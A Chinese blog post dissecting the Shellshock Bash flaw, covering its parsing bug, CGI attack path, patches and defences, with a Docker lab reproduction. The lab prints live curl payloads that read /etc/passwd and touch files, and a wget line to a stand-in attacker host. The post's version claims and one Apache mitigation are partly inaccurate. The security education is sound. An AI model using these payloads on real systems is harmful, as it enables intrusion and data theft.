Shellshock漏洞深度解析：从环境变量注入到远程命令执行

原创 于 2026-06-22 11:13:12 发布 · 393 阅读 · 6 ·
本内容遵循CC 4.0 BY-SA版权协议
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
GEO检测
标签
#Shellshock漏洞 #环境变量注入 #Bash安全

1. 项目概述：一次对“破壳”漏洞的逆向追踪

十年前，一个名为“破壳”（Shellshock）的漏洞在安全界掀起了轩然大波，它的官方编号是CVE-2014-6271。时至今日，它依然是安全课程和渗透测试演练中的经典案例。最近在整理历史漏洞样本库时，我又一次翻出了相关的利用代码和环境，决定顺着当年的思路，重新走一遍这个漏洞的发现、利用和修复之路。这次跟踪的目的不是进行前沿的漏洞挖掘，而是想从一个现代从业者的视角，去复盘这个古老但影响深远的漏洞，理解其背后“环境变量”与“函数解析”这个看似简单却暗藏杀机的组合，究竟是如何撼动整个互联网基石的。对于刚入门安全的新手来说，理解“破壳”是理解Linux/Unix系统安全、Web安全交互边界以及供应链安全风险的绝佳入口。

2. 漏洞核心原理与背景深度解析

2.1 Bash Shell的函数定义机制与“特性”

要理解“破壳”，必须先理解Bash Shell的一个独特功能：通过环境变量定义函数。在Bash中，你可以这样定义一个函数并让它通过环境变量传递给子Shell： 

# 定义一个函数
myfunc() { echo "Hello, Shellshock"; }
# 将其导出为环境变量（Bash特有的方式）
export -f myfunc
# 在子Shell中，这个函数依然可用
bash -c "myfunc"

Bash实现这个功能的方式是，在导出一个函数时，它会创建一个特殊格式的环境变量。变量名是函数名，变量的值则以 () 开头，后面跟着函数体。例如，上面的 myfunc 函数会变成一个类似 myfunc=() { echo "Hello, Shellshock"; } 的环境变量。

这里就埋下了第一个伏笔： Bash在启动时，会扫描所有以 () { 开头的环境变量，并尝试将它们解析为函数定义 。这个机制本意是为了方便，却成了漏洞的根源。

2.2 漏洞触发点：函数解析后的“额外命令”

漏洞的核心在于Bash对这个函数体字符串的解析过程存在缺陷。正常解析完函数定义 (){ ... } 后，Bash应该停止处理。但存在漏洞的Bash版本（4.3之前）在解析完函数体后，会继续执行函数体 后面 的字符串。

看一个无害的例子来理解这个缺陷： 

# 设置一个恶意的环境变量
export VULNERABLE='() { echo "This is function"; }; echo "This is EXPLOITED"'
# 启动一个新的Bash进程
bash -c "echo 'This is a test'"

在存在漏洞的Bash中，输出会是： 

This is EXPLOITED
This is a test

神奇的事情发生了！我们只是启动了一个新的Bash，并让它执行 echo ‘This is a test’ ，但它却先执行了环境变量 VULNERABLE 中函数定义 之后 的 echo “This is EXPLOITED” 命令。

关键点在于 ： echo “This is EXPLOITED” 这段代码并不是函数体的一部分。函数体在第一个分号 ; 和右大括号 } 处已经结束了。但Bash的解析器没有在此停下，它继续读取并执行了后续的字符串，就像它们也是正常的Shell命令一样。

2.3 从实验室到现实：CGI脚本作为攻击桥梁

如果漏洞只能在本机Shell中触发，那它的危害将大打折扣。“破壳”的恐怖之处在于它通过 Web服务器 这个跳板，实现了远程命令执行。

一个典型的攻击场景是针对使用Apache服务器的老旧CGI（通用网关接口）应用。CGI的工作机制是：当Web服务器（如Apache）接收到一个请求时，如果请求的是CGI程序（通常是一个Shell脚本），服务器会启动一个新的进程来执行这个脚本。在这个过程中，服务器会将HTTP请求头中的许多信息（如 User-Agent , Host , Referer 等）作为 环境变量 传递给这个新进程。而CGI脚本通常由Bash Shell来解释执行。

这就构成了完美的攻击链：

  1. 攻击者 发送一个特制的HTTP请求。
  2. Web服务器 （Apache）将请求头（例如 User-Agent ）的值设置为进程环境变量（ HTTP_USER_AGENT ）。
  3. Apache启动CGI进程 ，并将这些环境变量传递过去。
  4. 存在漏洞的Bash 在初始化时，扫描到环境变量 HTTP_USER_AGENT 的值以 () { 开头，于是尝试将其解析为函数。
  5. 在解析完函数定义后，Bash错误地继续执行了函数定义后面的恶意命令。
  6. 恶意命令（如 /bin/cat /etc/passwd ）以Web服务器进程（如www-data或apache用户）的权限被执行，结果可能被返回给攻击者。

一个最简单的攻击载荷看起来是这样的： 

User-Agent: () { :;}; /bin/cat /etc/passwd
  • () { :;}; 这是一个最小的、什么都不做的Bash函数定义（ : 是Bash中的空操作命令）。
  • 紧跟着的分号 ; 表示函数定义结束。
  • 后面的 /bin/cat /etc/passwd 就是被错误执行的恶意命令。

注意 ：在实际利用中，命令可能需要编码以避免特殊字符被破坏，并且常使用 /bin/sh -c 来包裹命令以确保执行。最初的PoC（概念验证）往往简单直接，但真实的攻击载荷会复杂得多。

3. 漏洞影响范围与当年“地震级”反响

3.1 为什么说它“震动了互联网”？

“破壳”漏洞在2014年9月被披露后，迅速被评定为CVSS评分10分的最高危漏洞。它的影响力是史诗级的，原因如下：

  1. 影响范围极广 ：Bash Shell是绝大多数Linux发行版、Unix系统（如macOS）以及无数网络设备（路由器、防火墙、IoT设备）的默认命令行解释器。其装机量以十亿计。
  2. 触发条件极其容易 ：只要能够向一个使用Bash的进程注入环境变量，就有可能触发漏洞。CGI只是最直接的途径，其他如DHCP客户端、SSH强制命令环境、某些守护进程的调用等，都可能成为入口。
  3. 潜在攻击面巨大 ：
    • Web层面 ：所有使用CGI的网站（尤其是老旧的虚拟主机、管理界面）。
    • 网络服务层面 ：OpenSSH服务器（通过 authorized_keys 的 command= 选项）、DHCP客户端等。
    • 系统层面 ：任何通过环境变量与Bash交互的脚本或程序。
    • 设备层面 ：路由器、摄像头、智能家居设备等嵌入式系统的管理接口。
  4. 利用结果危害极大 ：直接导致远程命令执行（RCE）。攻击者可以读取敏感文件、安装后门、发起内网渗透，甚至将设备变成僵尸网络的一部分。

当时的安全社区用“心脏滴血”（Heartbleed, CVE-2014-0160）来类比其严重性，但“破壳”在利用的简便性和直接性上更甚一筹。

3.2 漏洞的变种与补丁的“打地鼠”游戏

CVE-2014-6271只是开始。在最初漏洞披露后，安全研究人员发现最初的补丁并不完善，随后又爆出了一系列相关漏洞，形成了一个漏洞家族：

  • CVE-2014-7169 ：在初始补丁后被发现，攻击者可以通过重定向等操作，使恶意代码写入临时文件并执行。
  • CVE-2014-7186 、 CVE-2014-7187 ：涉及Bash解析 for 循环等语句时的堆缓冲区溢出问题。
  • CVE-2014-6277 、 CVE-2014-6278 ：同样是函数解析相关的后续漏洞。

这一系列漏洞表明，Bash在环境变量解析这个功能模块上存在深层次的、结构性的安全问题。最初的补丁只是堵上了最明显的洞，但墙体本身已经千疮百孔。各大Linux发行版（Red Hat, Ubuntu, Debian等）在随后几天里发布了多个紧急更新，上演了一场与时间赛跑的“打地鼠”式修复。

4. 搭建复现环境与手动验证

4.1 环境准备：寻找一个“带洞”的Bash

要亲手触摸历史，你需要一个存在漏洞的Bash环境。最简单的方法是使用Docker，它能完美隔离环境，避免对宿主机造成影响。

步骤1：启动一个包含漏洞Bash的容器 我选择了早期版本的Ubuntu 14.04镜像，它通常包含受影响的Bash。 

# 拉取一个旧版Ubuntu镜像
docker pull ubuntu:14.04
# 运行容器，并进入交互式Shell
docker run -it --rm ubuntu:14.04 /bin/bash

进入容器后，首先检查Bash版本： 

bash --version

如果显示版本号低于 4.3 （例如 GNU bash, version 4.3.11(1)-release 是已修复的，而 4.2 或 4.1 则是存在漏洞的），那么环境就准备好了。如果版本已修复，你可能需要寻找更老的镜像或自己从源码编译一个旧版Bash。

步骤2：验证漏洞是否存在 在容器内执行经典的测试命令： 

env x='() { :;}; echo VULNERABLE' bash -c "echo 'test'"

如果输出中包含 VULNERABLE 字样，恭喜你，成功穿越回了2014年。如果只输出 test ，则说明该Bash版本已修复。

4.2 模拟CGI攻击场景

为了更真实地复现，我们可以搭建一个最简单的Apache + CGI测试环境。

在容器内操作： 

# 1. 更新软件包列表并安装Apache2
apt-get update && apt-get install -y apache2

# 2. 启用CGI模块
a2enmod cgi
# 对于Ubuntu 14.04，CGI脚本通常放在 /usr/lib/cgi-bin/
# 确保该目录有执行权限

# 3. 创建一个极其简单的CGI Shell脚本
cat > /usr/lib/cgi-bin/test-vuln.sh << 'EOF'
#!/bin/bash
echo "Content-type: text/html"
echo ""
echo "<html><body>"
echo "CGI Script Test.<br>"
echo "Your User-Agent was: $HTTP_USER_AGENT<br>"
echo "</body></html>"
EOF

# 4. 赋予脚本执行权限
chmod +x /usr/lib/cgi-bin/test-vuln.sh

# 5. 启动Apache服务（在容器前台运行）
/usr/sbin/apache2ctl -D FOREGROUND &

现在，Apache服务已经在容器的80端口运行了。

步骤3：从外部发起攻击测试 打开宿主机的另一个终端，使用 curl 命令模拟攻击者发送恶意请求： 

# 构造恶意请求，User-Agent头部携带漏洞利用代码
curl -H "User-Agent: () { :;}; /bin/cat /etc/passwd" http://<容器IP地址>/cgi-bin/test-vuln.sh

关键点解析 ：

  • -H 参数用于设置HTTP请求头。
  • User-Agent: () { :;}; /bin/cat /etc/passwd 就是我们的攻击载荷。Bash会错误地执行 /bin/cat /etc/passwd 。
  • 如果漏洞存在且Apache以root权限运行（实际通常以www-data用户运行），你可能会在返回的HTML中看到 /etc/passwd 文件的内容。更常见的情况是，命令执行了，但输出可能混在Apache的错误日志中，或者被丢弃。一个更可靠的验证方式是使用反弹Shell或执行一个会有明显外部效应的命令，例如： 
    curl -H "User-Agent: () { :;}; /usr/bin/wget http://attacker-server.com/test.txt" http://<容器IP>/cgi-bin/test-vuln.sh
    （ 注意：此命令仅用于本地测试环境验证，严禁对非授权目标使用 ）

实操心得 ：在复现时，你可能会发现直接 cat /etc/passwd 没有回显。这是因为CGI的环境和标准输出/错误流比较复杂。更有效的方法是让目标机器主动连接你的监听端口（即反弹Shell），或者执行一个会在服务器上创建文件的命令（如 touch /tmp/shellshock_success ），然后进入容器检查文件是否创建成功。这更符合当年攻击的真实场景。

5. 漏洞修复机制与深度剖析

5.1 官方补丁思路：修补解析器

最初的修复方案（针对CVE-2014-6271）核心思想是： 在将环境变量解析为函数时，进行严格的语法检查，并在解析完成后立即停止，防止“越界”执行 。

我们可以看一下补丁的大致逻辑（非真实代码，为理解而简化的伪代码）： 

// 漏洞版本的解析逻辑（简化）
void parse_function_from_env(char *env_value) {
    if (strstartswith(env_value, "() {")) { // 检测到函数定义
        define_function(env_value); // 定义函数
        // 漏洞点：没有在这里return或做结束处理！
        execute_remaining_string(env_value + function_body_end); // 错误地执行了后续字符串
    }
}

// 修复版本的解析逻辑（简化）
void parse_function_from_env_patched(char *env_value) {
    if (strstartswith(env_value, "() {")) {
        // 1. 更严格地验证函数语法，确保其完全合法
        if (!is_valid_function_syntax(env_value)) {
            return; // 无效则直接返回，不当作函数处理
        }
        // 2. 正确定义函数
        define_function(env_value);
        // 3. 关键修复：解析并定义函数后，立即返回，不再处理该环境变量字符串的剩余部分
        return;
    }
}

补丁确保了一旦环境变量被识别并处理为函数定义，其使命就结束了，后面的任何字符都会被忽略，不再被解释为Shell命令。

5.2 系统级缓解措施

除了给Bash本身打补丁，系统管理员还可以采取一些临时缓解措施：

  1. 使用其他Shell ：将系统默认Shell（ /bin/sh 的链接）改为 dash （Debian系）或其他不受影响的Shell。但这会破坏大量依赖Bash特性的脚本。
  2. 修改Apache配置 ：
    • 对于使用 mod_cgi 或 mod_cgid 的Apache，可以通过修改配置，在调用CGI时传递一个“安全”的环境变量，例如： 
      SetEnv BASH_FUNC_myfunc%%
      这种畸形变量名会干扰Bash的解析。但这属于临时 hack，且可能不全面。
    • 最根本的方法是 升级或替换CGI程序 ，使用Perl、Python等语言编写，或者使用FastCGI、WSGI等更现代的接口替代传统的CGI。

5.3 漏洞的深远启示

“破壳”漏洞留给我们的不仅仅是技术上的教训：

  • 对“特性”的警惕 ：为了方便而设计的特性（通过环境变量传递函数），可能成为攻击面。安全设计中需要权衡便利性与风险。
  • 供应链安全的脆弱性 ：一个底层、广泛使用的核心组件（Bash）出现漏洞，整个上层建筑（所有Linux服务器、网络设备）都会摇摇欲坠。维护好基础软件的安全至关重要。
  • 输入验证的绝对重要性 ：将不可信的数据（HTTP请求头）直接传递给命令解释器是极度危险的。任何来自外部的输入都必须经过严格的验证、净化和转义。
  • 最小权限原则 ：如果Apache/CGI进程不是以高权限（如root）运行，即使被攻破，危害也能被限制。当年很多嵌入式设备以root运行服务，放大了漏洞的危害。

6. 从“破壳”看现代安全防护演进

6.1 漏洞检测与应急响应

当年，安全团队紧急编写了各种检测脚本。一个最简单的本地检测命令前文已经展示。网络层面的检测则主要通过扫描器发送特制的HTTP请求，根据返回结果判断。如今，这种检测能力已经被集成到各类漏洞扫描器（如Nessus, OpenVAS）和SIEM（安全信息与事件管理）系统的规则库中。

应急响应流程也因“破壳”这类全球性漏洞而变得更加标准化：漏洞披露 -> CVSS评分 -> 供应商发布补丁（Linux发行版） -> 系统管理员评估影响 -> 测试补丁 -> 部署补丁 -> 验证修复。云服务商（如AWS, GCP）在其中的作用也日益凸显，它们可以快速为托管服务打上补丁。

6.2 防御理念的进步

“破壳”之后，防御思路有了明显进化：

  1. 纵深防御 ：不再只依赖边界防火墙。主机层面的入侵检测（HIDS）、文件完整性监控（FIM）、严格的权限控制（如使用Namespaces, Cgroups, SELinux/AppArmor）变得更重要。
  2. Web应用防火墙（WAF）的普及 ：WAF可以识别并拦截 () { :;}; 这类特征明显的攻击载荷，为后端应用争取打补丁的时间。
  3. 弃用危险的传统技术 ：CGI技术迅速被更安全的FastCGI、模块化运行方式（如PHP-FPM）以及各种应用服务器所取代。新的Web开发框架几乎不再直接暴露Shell调用的接口。
  4. 容器与微服务安全 ：在容器化时代，基础镜像的安全扫描变得至关重要。CI/CD流水线中会集成漏洞扫描步骤，确保部署的镜像不包含已知的、像“破壳”这样的高危漏洞。

6.3 对安全研究人员的意义

对于像我们这样的安全从业者，“破壳”是一个永不褪色的教学案例：

  • 代码审计的范例 ：它展示了在解析器、解释器这类复杂软件中，一个微小的逻辑错误（解析后未及时终止）可能导致的灾难性后果。
  • 攻击面映射训练 ：思考“环境变量”这个看似内部的机制，如何通过Web（CGI）、网络服务（DHCP, SSH）等渠道变成远程攻击入口，极大地锻炼了攻击面发现能力。
  • 漏洞利用链的构建 ：从HTTP请求到环境变量注入，再到Bash解析执行，最后实现RCE，这是一个清晰的、多步骤的利用链。理解它有助于分析更复杂的现代漏洞。

7. 复现过程中的常见问题与排查技巧

在搭建复现环境时，你可能会遇到一些“坑”，这里记录一下我的排查经验：

问题1：使用Docker测试时， env 命令测试成功，但HTTP攻击不成功。

  • 可能原因1：Apache CGI模块未正确启用或配置。
    • 排查 ：检查Apache是否加载了 cgi_module ( apache2ctl -M | grep cgi )。确认CGI脚本目录（如 /usr/lib/cgi-bin/ ）在Apache配置中正确设置且具有 ExecCGI 选项。
    • 解决 ：确保 a2enmod cgi 执行成功，并重启Apache。检查 /etc/apache2/conf-enabled/serve-cgi-bin.conf （或类似配置）是否存在并正确。
  • 可能原因2：CGI脚本本身执行权限或解释器路径问题。
    • 排查 ：确保脚本有执行权限( chmod +x )。确保脚本首行shebang ( #!/bin/bash ) 指向的是存在漏洞的Bash，而不是 /bin/sh （可能链接到已修复的Bash或dash）。
    • 解决 ：使用 ls -l /bin/sh 查看链接。可以在脚本中直接使用绝对路径调用漏洞Bash，或者在容器内将 /bin/sh 临时链接到旧版Bash（不推荐用于生产环境）。
  • 可能原因3：攻击载荷被Web服务器或中间件修改。
    • 排查 ：在CGI脚本中加入 env > /tmp/debug.log ，然后发起攻击，查看 /tmp/debug.log 文件中 HTTP_USER_AGENT 变量的值是否完整包含 () { 。可能某些服务器会对特殊字符进行过滤或转义。
    • 解决 ：尝试对空格、分号、花括号进行URL编码（ %20 , %3B , %7B , %7D ），但Bash解析的是解码后的值，所以需确保服务器正确解码。

问题2：命令执行了，但没有看到输出。

  • 可能原因 ：CGI脚本的标准输出被用于返回HTTP响应，而命令执行的输出可能去了标准错误输出，或者命令本身没有输出（如 touch ）。
  • 解决 ：使用一个能产生明显副作用的命令来验证，例如： 
    # 在攻击载荷中
() { :;}; /bin/touch /tmp/shellshock_pwned
    攻击后，进入容器检查 /tmp/shellshock_pwned 文件是否被创建。这是更可靠的验证方式。

问题3：现代Linux发行版默认已修复，找不到漏洞环境。

  • 解决 ：
    1. Docker指定历史版本 ：如 ubuntu:12.04 , centos:5 等更老的镜像。
    2. 手动编译旧版Bash ：从GNU镜像站下载Bash 4.2或更早版本的源码，在容器内编译安装。编译时注意指定安装路径，不要覆盖系统默认Bash，通过绝对路径来调用测试。
    3. 使用专门漏洞复现镜像 ：在Docker Hub上搜索 shellshock , vulnerable 等关键词，常有社区维护的现成漏洞环境镜像。

排查技巧实录 ：当攻击看似不成功时，最有效的调试方法是“内外结合”。在攻击端，使用 curl -v 查看完整的HTTP请求和响应头。在受害容器内，实时监控系统日志（ tail -f /var/log/apache2/error.log ）和进程列表（ ps auxf ），观察攻击请求到来时是否有新的Bash进程被创建并执行命令。同时，利用 strace 工具跟踪Apache或Bash进程的系统调用，可以看到命令是否真正被执行（ execve 系统调用）。这套组合拳能帮你精准定位问题所在。

tyygming
关注
弘一网童（支持ie10)
07-10
弘一网童(WebPortero)是一款智能化的网页保存工具，是你个性化阅读、资料收集整理的好助手。
硬件测试 Fritz Chess Benchmark国际象棋测试软件
09-25
硬件测试 Fritz Chess Benchmark国际象棋测试软件，虽然现在我们的个人电脑依然无法与10年前IBM的“深蓝”相提并论，并且无论是在处理器架构方面、节点方面还是AIX操作系统方面都有很大的差距，但是Fritz Chess Benchmark依然是目前在个人计算机方面最好的步法计算和预测软件，同时也可以让我们对等的看到目前我们所使用的个人计算机到底达到了一个什么样子的水平。同时该软件还给出了一个基准参数，就是在P3 1.0G处理器下，其可以每秒运算48万步。
绝对不容错过的超棒动物瞬间抓拍摄影作品
GBin1.com
09-13 4448
日期：2012-9-13  来源：GBin1.com 摄影的精髓不单单是色彩和光线的运用，同时也是动作和时机扑捉的艺术，在今天的这套摄影作品分享中，我们将展现真正富有”生命力“的动物摄影艺术！相信大家肯定会喜欢！ Photo by Marco Sartori Image credits: buzzfeed Image credits: buzzfeed Photo
个人空间岁末大回报活动12月25日获奖名单
热门推荐
hicsdn的专栏
12-30 5万+
　　个人空间岁末大回报： 动手就有C币拿！活动已于15日启动，非常感谢各位网友的大力支持和积极参与，个人空间的所有工作人员在这祝大家好运，希望你们每天都能拿到C币存入社区银行！　　欢迎各位获奖者去自己的银行查看金额是否到账，如果有任何疑问都可以用【留言】【私信】等各种方式告之我们，我们将尽快给您答复。再次感谢各位网友！　　C币查看地址：http://bank.csdn.net/MyBank
30幅非常漂亮的微距摄影作品欣赏
weixin_34221775的博客
08-26 238
微距摄影是区别于常规摄影的一种特殊的摄影方法，微距摄影是在近距离拍摄有关物体，并可以得到比原实物大的影像。今天这篇文章和大家分享30幅漂亮的微距摄影作品，一起欣赏。 Mojtaba Jahani Joni Niemelä rdd CathS hilde van hove Chaval Brasil jimmy hoffman ...
Shellshock漏洞深度剖析：从Bash函数定义缺陷到远程代码执行
gitblog_00281的博客
06-06 471
Shellshock漏洞（又称Bashdoor）是2014年发现的一系列Bash shell安全漏洞，允许攻击者通过环境变量注入恶意代码执行任意命令。这个被称为"Shellshock"的Bash函数定义缺陷漏洞影响了全球数百万台服务器和设备，成为继Heartbleed之后又一个影响深远的网络安全事件。本文将深入剖析Shellshock漏洞的原理、攻击向量和防御策略。 ## 🔍 Shellsho
Shellshock漏洞与Bash命令注入攻防：从原理到实战防御
最新发布
weixin_34372728的博客
06-21 321
命令注入是Web安全中常见的高危漏洞，其核心原理在于应用程序将未经充分验证的用户输入直接传递给系统Shell（如Bash）执行，导致攻击者能够注入并执行任意系统命令。从技术本质上看，这源于数据与代码边界混淆的安全模型缺陷。在类Unix系统中，Bash作为默认Shell，其环境变量解析机制（如经典的Shellshock漏洞）和命令分隔符（如;、|、&&等）常被利用。这类漏洞的技术价值在于揭示了输入验证与安全编码的极端重要性，其危害可直接导致服务器被完全控制，引发数据泄露、服务中断等严重后果。应用场景广泛存在于
Shellshock Lab
Yuhan2001的CSDN博客
12-05 4542
软件安全课程实验二shellshock； 版本：SeedUbuntu20.04； 课本：计算机安全导论：深度实践；
Shellshock漏洞回顾与分析测试
xiaoshan812613234的专栏
12-25 1835
0x00 漏洞概述 很多人或许对2014上半年发生的安全问题“心脏流血”（Heartbleed Bug）事件记忆颇深，2014年9月，又出现了另外一个“毁灭级”的漏洞——Bash软件安全漏洞。这个漏洞由法国GNU/Linux爱好者Stéphane Chazelas所发现。随后，美国电脑应急响应中心（US-CERT）、红帽以及多家从事安全的公司于周三（北京时间2014年9月24日）发出警告
#脚本实现宠物动作行为_热门视频里的宠物宛如成精了，难道智商超群？揭秘如何拍摄宠物...
weixin_39859055的博客
01-06 1206
如今是一个快节奏时代，“快餐文化”也应运而生，无论是生活、工作还是娱乐，大家都讲究一个字，那就是快。于是短视频也开始在人们之间流行。短视频，顾名思义就是时长短，它利用大家多余的碎片时间，让他们得到短暂的放松。而其中宠物类的视频也是很受大家的欢迎。大家可以发现这些视频里的宠物都宛如成精了，做出一些不同寻常的举动，看起来格外的有趣。不少人会产生这样的疑惑，这些宠物怎么会做出这样的举动呢？为何自己给宠物...
#脚本实现宠物动作行为_这30个爆款短视频脚本文案模板，直接套用就能火
weixin_35988311的博客
12-27 9311
只要在运营抖音账号的人，都想创作的短视频能成为爆款，然而想要视频成为爆款，短视频脚本往往起着关键作用。脚本是我们拍摄视频的依据，导演提供拍摄思路，视频组决定拍摄题材，脚本需要的，只是把这些要求文字化，因此拍摄时，只需演员和摄影师就可以创作出视频。那么怎么创作短视频脚本呢？短视频脚本必备七要素：在拍摄脚本里面，我们要对每一个镜头进行细致的设计，我们今天主要从镜头、景别、内容、台词、时长、运镜、道具这...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值